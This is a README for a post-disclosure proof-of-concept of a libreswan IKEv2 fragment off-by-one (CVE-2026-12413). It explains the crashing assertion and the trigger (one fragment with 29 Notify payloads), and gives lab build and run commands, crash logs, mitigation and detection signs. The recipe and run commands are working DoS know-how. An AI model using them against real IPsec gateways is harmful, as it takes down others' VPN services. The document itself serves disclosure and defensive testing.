
First public PoC for CVE-2026-12413 — libreswan IKEv2 fragment off-by-one (unauthenticated remote DoS, fixed in 5.3.1)
First public proof-of-concept for the off-by-one error in libreswan's
IKEv2 fragment reassembly (pluto).
Writeup: https://mohammad-jafar-shabib.github.io/CVE-2026-12413-libreswan-poc/
| CVE | CVE-2026-12413 |
| CVSS 3.1 | 7.5 High — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (CNA) |
| CWEs | CWE-193 (off-by-one), CWE-617 (reachable assertion) |
| Affected | libreswan 4.6 through 5.3, IKEv2 with fragmentation enabled (the default) |
| Fixed | 5.3.1 (fix commit 5c4369afcfe95a924ee0a96a0b29a7204dc40504, 2026-06-16; release tagged 2026-06-24) |
| Impact | Unauthenticated remote DoS: pluto aborts on a PASSERT; repeated packets keep the daemon down. No RCE possible. |
| Finder | Hu Xinyao (per CVE record) |
Status: vendor-patched. CVE reserved 2026-06-16, publicly disclosed 2026-07-02. This is a post-disclosure PoC, not a 0-day.
programs/pluto/ikev2_message.c, reassemble_v2_incoming_fragments():
pexpect(md->chain[ISAKMP_NEXT_v2SKF]->payload.v2skf.isaskf_number == 1);
passert(md->digest_roof < elemsof(md->digest)); /* PAYLIMIT == 30 */
digest_roof counts the parsed payloads of the first fragment message.
A message carrying exactly PAYLIMIT (30) well-formed payloads is a legal
state, but the assertion demands strictly less. The fix (5.3.1) changes
< to <=:
- passert(md->digest_roof < elemsof(md->digest));
+ passert(md->digest_roof <= elemsof(md->digest));
Upstream history note: OSV's record anchors the fixed event to
de24519eb4ff49803a21d75e880c87834cf33beb — the "bump version to 5.3.1"
commit that the v5.3.1 tag points to. OSV derives those GIT events from
the CPE version range (4.6 → 5.3.1), so they mark release boundaries, not
the semantic fix. The only commit in v5.3..v5.3.1 touching
programs/pluto/ikev2_message.c is 5c4369afcf.
An attacker sends one IKE_AUTH message that is a single IKE fragment
(SKF, fragment 1 of 1) carrying 29 Notify payloads plus the SKF payload.
digest_roof reaches 30, the single fragment completes immediately, and
reassembly hits the panic assertion → SIGABRT.
The SKF payload must decrypt and pass ICV verification, so the PoC first
completes a normal, unauthenticated IKE_SA_INIT exchange (DH group 14)
and derives SKEYSEED/SK_ei/SK_ai per RFC 7296. Fragmentation must be
negotiated (Notify 16430 IKEV2_FRAGMENTATION_SUPPORTED), otherwise
pluto ignores fragments ("peer never proposed fragmentation").
poc/ikev2_frag_dos.py the PoC (Python 3 + cryptography, no scapy)
lab/setup.sh two netns + veth pair (isolated, host NIC untouched)
lab/pluto-start.sh start a given build's pluto inside the netns
lab/pluto-alive.sh liveness check
lab/run-ab-test.sh full vulnerable-vs-fixed A/B run
lab/ipsec.conf minimal responder config (IKEv2, PSK, fragmentation=yes)
artifacts/ A/B log, crash log, pcaps of the exchange
notes/ root-cause analysis, publication plan, blog draft
docs/ published writeup (GitHub Pages)
src/ libreswan git checkout + v5.3 / v5.3.1 build trees
Dependencies (Arch example): base-devel nss nspr bison flex.
git clone https://github.com/libreswan/libreswan.git src/libreswan
cd src/libreswan
git worktree add ../build-5.3 v5.3
git worktree add ../build-5.3.1 v5.3.1
cd ../build-5.3 && make -j$(nproc) base USE_DNSSEC=false WERROR_CFLAGS=
cd ../build-5.3.1 && make -j$(nproc) base USE_DNSSEC=false WERROR_CFLAGS=
Notes:
USE_DNSSEC=false avoids the unbound/ldns dependency.WERROR_CFLAGS= is needed because GCC 15 flags an unused variable that
these releases treat as an error.addconn from its compile-time libexec path; the start
script installs the matching build's helper to
/usr/local/libexec/ipsec/addconn on each run.cd /home/mgrim/Work/ipsec-cve-2026-12413
uv venv venv && uv pip install --python venv/bin/python cryptography
./lab/setup.sh
# vulnerable build
./lab/pluto-start.sh 5.3
sudo ip netns exec atk ./venv/bin/python poc/ikev2_frag_dos.py 10.99.0.1 --pcap artifacts/exchange.pcap
./lab/pluto-alive.sh # -> DEAD
# fixed build
./lab/pluto-start.sh 5.3.1
sudo ip netns exec atk ./venv/bin/python poc/ikev2_frag_dos.py 10.99.0.1
./lab/pluto-alive.sh # -> ALIVE
# or the whole A/B in one shot
./lab/run-ab-test.sh
artifacts/ab-test.log:
RESULT 5.3: CRASHED (DoS confirmed)
RESULT 5.3.1: SURVIVED (fix holds)
Crash line on 5.3 (artifacts/pluto-5.3-crash.log):
"lab"[1] 10.99.0.2 #1: received IKE_AUTH request fragment 1 (1 of 1), computing DH in the background
FATAL: ASSERTION FAILED: md->digest_roof < (sizeof(md->digest) / sizeof(*(md->digest)))
(reassemble_v2_incoming_fragments() +977 programs/pluto/ikev2_message.c)
On 5.3.1 the fragment is reassembled, the decrypted (bogus) inner payload
is rejected with INVALID_SYNTAX, the IKE SA is deleted, and the daemon
stays up. Reproduced 3/3 runs on 5.3.
fragmentation=no on IKEv2 connections that do not need it
(no workaround if fragmentation is required).pluto restarts around IKE traffic; logs contain
ASSERTION FAILED ... reassemble_v2_incoming_fragments(); IKE_AUTH
messages with an unusually high payload count (parse caps at 30).5c4369afcfe95a924ee0a96a0b29a7204dc40504
("Fix for CVE-2026-12413"), released in 5.3.1; vendor advisory
https://libreswan.org/security/CVE-2026-12413/.notes/publication.md for the pre-publication verification.The PoC is intended for your own lab. Do not point it at systems you do not own or have written authorization to test. It is a denial-of-service payload; the vulnerable daemon aborts.